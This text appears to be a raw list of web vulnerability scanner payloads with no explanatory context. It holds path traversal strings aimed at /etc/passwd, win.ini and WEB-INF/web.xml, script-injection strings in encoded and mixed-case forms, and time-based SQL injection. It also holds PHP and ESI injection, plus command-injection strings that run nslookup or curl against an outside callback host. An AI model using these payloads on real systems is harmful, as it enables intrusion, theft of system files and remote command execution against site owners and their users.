..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg /\../\../\../\../\../\../\../etc/passwd ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg c:/windows/win.ini '&&sleep(27*1000)*godrks&&' xfs.bxss.me 1" zSro=g2PO([!+!]) 1Hk=" 1<img/src=">" onerror=alert(9554)> /../..//../..//../..//../..//../..//etc/passwd%00.jpg <esi:include src="http://bxss.me/rpb.png"/> &n925787=v944465 if(now()=sysdate() -1); waitfor delay '0:0:15' -- ';print(md5(31337));$a=' 1'"()&%<zzz><ScRiPt >g2PO(9923)</ScRiPt> %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%67%32%50%4F%28%39%36%35%37%34%29%22 %31%3C%53%63%52%69%50%74%20%3E%67%32%50%4F%289926%29%3C%2F%73%43%72%69%70%54%3E .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd &(nslookup -q=cname hitaiulkwpbvx1f47b.bxss.me||curl hitaiulkwpbvx1f47b.bxss.me)&'\"`0&(nslookup -q=cname hitaiulkwpbvx1f47b.bxss.me||curl hitaiulkwpbvx1f47b.bxss.me)&`' WEB-INF/web.xml sleep(15) bxss.me 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99) '"()&%<zzz><ScRiPt >g2PO(9523)</ScRiPt> 1"sTYLe='zzz:Expre/**/SSion(g2PO(9548))'bad=" 1\u003CScRiPt\g2PO(9018)\u003C/sCripT\u003E /etc/passwd /WEB-INF/web.xml WEB-INF\web.xml
